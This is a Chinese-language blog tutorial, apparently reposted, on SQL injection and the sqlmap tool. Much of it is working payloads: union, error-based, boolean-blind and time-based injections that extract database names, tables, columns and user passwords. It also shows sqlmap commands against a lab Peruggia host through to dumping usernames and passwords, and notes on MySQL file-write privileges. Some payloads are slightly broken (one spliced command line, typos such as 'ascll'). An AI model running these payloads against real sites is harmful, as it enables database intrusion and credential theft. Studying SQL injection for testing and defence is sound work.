SQL注入与Sqlmap工具

Posted 还是最初模样

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入与Sqlmap工具相关的知识,希望对你有一定的参考价值。

sql注入基础

sql注入的流程:浏览器查看id => 通过脚本引擎执行id=123的sql语句 => 再发送给数据库执行sql语句,然后把结果回显到浏览器给用户

SQL注入点判断

URL: ?id = 35 ,当35加1或者减1时,页面发生了变化,这时候可以考虑联合查询

URL: ?id = 35 猜测sql语句为:select * from TableName where id = 35

URL: ?id = 35' 判断 ?id 是字符型还是数字,出现<near ' ' ' at line 1 >的报错,考虑报错注入,猜测sql语句为:select * from TableName where id = 35' ,即35前面的sql语句正确,‘ 号是一个错误的符号,证明其是数字型,如果报错包含了35’  那就是字符型。

 ?id=35 and 1=1
 
 ?id=35 and 1=2
 
 select * from TableName where id=35 and 1=1 #id=35为条件判断,判断数据库里有没有一条记录id=35的,1=1恒真式,如果1=2恒假式。

布尔类型:当输入 and 1=1 和 and 1=2 时,网站页面不相同,认为页面有布尔类型状态,反之布尔状态不存在。

延时注入:

 ?id=35 and sleep(5)  #通过开发者工具查看NETWORK板块去查询网站是否有5秒的延迟,
 

当网页存在联合查询,布尔盲注,报错注入,延时查询其中的一种注入类型时,我们认为这个页面有sql注入漏洞


联合查询:

就是SQL语法中的union select 语句,该语句会同时执行两条select语句(select ---- union select ----),生成两张虚拟表,然后把查询到的信息进行拼接。但是要成 功拼接要满足两个条件:

一、两张表具有相同的列数(因为列的第一个格为表名,后面为数据,数据可以用NULL进行补全,所以可以进行横向拼接,因为我们不能创建表名,所以不能进行纵向拼接)

1)判断第一个查询语句有多少列,?id=35 order by 1 (按照第一个字段进行排序,by 20 按照20个列进行排序,如果报错证明不存在20列,然后不断测试缩短范围获取最后 正确的列数)

2)当我们得到正确的列的个数时,可以用以下url进行获取列的数据,ag:5列,(?id=33 union select 1,2,3,4,5,6,7),或者(?id=33 union select null,null,null,null,null)#当order by 不可用时,可以用null语句进行判断列数。

注:当我们的两条查询语句都是正确的时候,数据库会默认输出第一条查询结果,第二条不会输出,只有当我们第一条错误时,才会输出第二条查询结果,所以我们要构造如下的查询语句来获取数据:

`

 ?id=33 and 1=2 union select 1,2,3,4,5,6,7#and1=2
 ?id=-33 union select 1,2,3,4,5,6,7 #id=-33
 当网页有输出3和5的时候,我们可以用下面的语句对网站数据库的版本信息和名字进行查询:
 ?id=-33 union select 1,2,version(),4,database()
 
 当我们得到数据库的库名之后,也可以通过以下语句对数据库的表名进行爆破查询:
 ?id=-33 union select 1,2,version(),4,database() from hello #查询数据库中是否存在hello表,报错则不存在
 
 可以进行跨库跨表查询,information_schema是一个保存表名的数据库
 ?id=-33 union select 1,2,version(),4,table_name,6,7 from information_schema.tables where table_schema=database()
 有可能会出现页面乱码,我们可以用(hex)16进制进行解决,把table_name 改为 hex(table_name),把页面的信息按照16进制输出,把得到的16进制用BP对其进行还原
 方法:打开BP的Decoder模块,把16进制的值复制进去,再选择ASCLL hex模块进行解码,可以得到表名。
 
 上面这种方法只能得到一个表名,这时候我们可以用group_concat对所有的表名进行查询,具体代码如下:
 ?id=-33 union select 1,2,version(),4,hex(group_concat(table_name)),6,7 from information_schema.tables where table_schema=database()
 然后再用BP进行解码即可
 
 得到表名之后,可以查询任意表的内容,包括用户表,column_name查询列的名字,来获取所有的表
 ?id=-33 union select 1,2,version(),4,hex(group_concat(column_name)),6,7 from information_schema.tables where table_schema=database() and table_name=0x+16进制的用户表名
 
 得到用户名之后,可以查询密码
 ?id=-33 union select 1,2,version(),4,concat(table_name,0x3a,password)),6,7 from 表名
 得到的是一个CMD5值,再进行破解即可

`

二、两张表对应的列的数据类型相同(数字可以转换为字符串)


报错注入:

口诀:

有回显 联合查询

有报错 报错注入

以上无 布尔盲注

最后 延时注入

1、group by #重复键冲突

 
 mysql> create table r1 (a int); #创建一个表名为r1,列名为a,属于int类型的表
 mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2);#往表r1里添加数据
 mysql> select * from r1;#查询表里我们输入的数据如下
 +------+
 | a   |
 +------+
 |   1 |
 |   2 |
 |   1 |
 |   2 |
 |   1 |
 |   2 |
 |   1 |
 |   2 |
 |   1 |
 |   2 |
 +------+
 
 mysql> select count(*) from r1; #查询r1里有多少条数据
 +----------+
 | count(*) |
 +----------+
 |       10 |
 +----------+
 1 row in set (0.00 sec)
 
 mysql> select count(*) from r1 group by a;
 +----------+
 | count(*) |
 +----------+
 |       5 |
 |       5 |
 +----------+
 2 rows in set (0.00 sec)
 
 ?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.table limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a)
 
 
 

2、XPATN  #报错

 ?id=33 and extractvalue(1,concat('^',(select version()),'^'))#通过语法错误收集version信息
 ?id=33 and updatexml(1,concat('^',(select database()),'^'),1)

布尔盲注:

 ?id=33 and length(database()>3)  #通过输入的数字查询数据库名字的大小
 ?id=33 and ascll(substr(database(),1,1))=99 #第一个1的意思是第一位元素,第二个1是按照一位一位的形式去判断,>100错误,=99正确,说明数据库的第一个字母为ascll的99即是c,
 ?id=33 and ascll(substr(database(),2,1))=109#>108对,>109错,那最后结果就是=109,ascll的109为m,得出第二个元素为m。以此类推,可以得到数据库的名字。

延时注入:

 ?id=33 and sleep(5)  #判断对了,网页沉睡5s再访问,
 ?id=33 and if(length(database())<10,sleep(5),1) #如果数据库名的长度小于10,页面就沉睡5s。

Sqlmap用法:

 -u "url"  #检测注入点
 --dbs #列出所有数据库的名字
 --current-db#列出当前数据库的名字
 
 -D #指定一个数据库D=Dabatase
 --tables #列出表名
 
 -T #指定表名T=Table
 --columns #列出所有的字段名
 
 -C #指定字段
 --dump #列出所有字段的内容

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1"

#无损扫描

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" --dbs

#列出所有数据库名字

SQL注入与Sqlmap工具

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" --current-db

#查询当前数据库名称

SQL注入与Sqlmap工具

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -D "peruggia" --tables

#(-D)指定数据库为peruggia,查询他所有的表名

SQL注入与Sqlmap工具

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -T "users" --columns

#(-T)指定表名为users,查询他所有的字段信息

root@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.phroot@kali:~/sqlmap# sqlmap -u "http://192.168.1.146/peruggia/index.php?action=comment&pic_id=1" -D "peruggia" -T "users" -C "username,password" --dump

#指定路径输出user和password

若是一个POST的用户名密码提交表单,用sqlmap查询注入漏洞如下;

1、先用BP把用户名和密码的提交信息截取下来

2、把截取的表单信息放到新建的post.txt文本中

3、用代码root@kali:~/sqlmap# sqlmap -r post.txt进行sql漏洞扫描,查询是否存在用户名密码的漏洞


1、以下参数可以在mysql/my.ini配置文件中[mysqld]下修改或者添加

secure file priv= #不对mysql的导入导出操作做限制

secure file priv=null #限制mysql,不允许进行导入导出操作

secure file priv=‘c:/a/' #限制mysql的导入导出操作发生在c:/a/下

2、查询当前用户的文件权限

查询语句:select File_priv from mysql.user where user="root" and host="localhost";

输出Y证明有文件的权限

3、知道要写入目标文件的绝对路径





以上是关于SQL注入与Sqlmap工具的主要内容,如果未能解决你的问题,请参考以下文章

sql注入工具:sqlmap命令

sqlmap的学习之路-自动化测试SQL注入工具

SQL学习之SqlMap SQL注入

SQL注入工具sqlmap的注入过程记录

sql注入工具之 sqlmap的基本使用

sql 注入工具sqlmap的使用